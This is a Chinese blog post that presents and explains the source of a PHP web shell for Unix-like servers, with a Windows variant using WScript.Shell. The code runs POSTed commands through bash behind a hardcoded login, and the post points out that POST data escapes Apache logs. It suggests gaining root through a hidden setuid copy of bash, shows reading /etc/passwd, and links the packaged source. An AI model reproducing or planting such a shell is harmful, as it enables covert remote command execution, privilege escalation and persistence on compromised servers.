在类UNIX操作系统服务器,比如UNIX、GNU/Linux、BSD等,php有`command`(键盘中,数字键1前面的按键)功能,即来实现shell语句的执行。
该 php的 shell页面也是,利用 POST提交要执行的 shell语句(POST数据,在apache等 Web Server的日志中将不被记录),用`/bin/bash -c $shell`来执行shell,然后返回运行结果。
程序中,还加入了session的判断,来验证和限制当前使用者。
程序开头定义了正确的账户密码,为
$c_username = 'dorainm';
$c_password = 'dorainm@gmail.com';
|
session_check 函数是用于检测 session的。
function session_check()
{
global $c_username;
global $c_password;
if( $_SESSION['username']==$c_username &&
$_SESSION['password']==$c_password )
{
return true;
}
else
{
return false;
}
}
|
当判断 session不正确,那么程序将销毁 session,返回登陆验证页面,session_distory函数实现session的销毁的。
function session_distory()
{
$_SESSION = array();
session_unset();
session_destroy();
}
|
好,session验证就介绍到这里,看shell提交页面的代码。
<form method="POST">
command: <input class="txt" name="cmd" value=" echo $cmd;?>"> <input class="btn" type="submit" value="run">
</form>
|
然后程序通过POST捕捉提交的语句,然后执行,反馈
if( isset( $_POST['cmd'] ) )
{
$cmd = $_POST['cmd'];
$cmd = strip_tags($cmd);
$cmd = trim($cmd);
//$cmd = htmlspecialchars($cmd);
$cmd = addslashes($cmd);
}
... ...
if( $cmd )
{
$result = `$shell -c "$cmd"`;
if( $result )
{
echo "" ;
echo $result;
echo "";
}
}
|
下面是运行效果
提权功能大家自己想,比如复制了一个u+s的 shell叫做 /bin/.bash,我们可以让程序以`/bin/.bash -c $shell`来运行,就有 root权限了。
再看 /etc/passwd。
lfs系统,很少的用户,嘻嘻~
再看看网络情况
下面是源代码
 |
文件: | shell.php.tar.gz |
大小: | 1KB |
下载: | 下载 |
|
ps:
如果是win32操作系统的服务器,可以用wscript来运行命令,喜欢的自己添加进去吧
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$shell."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo "" . $stroutput . "". ;
?>
|
阅读(1906) | 评论(0) | 转发(0) |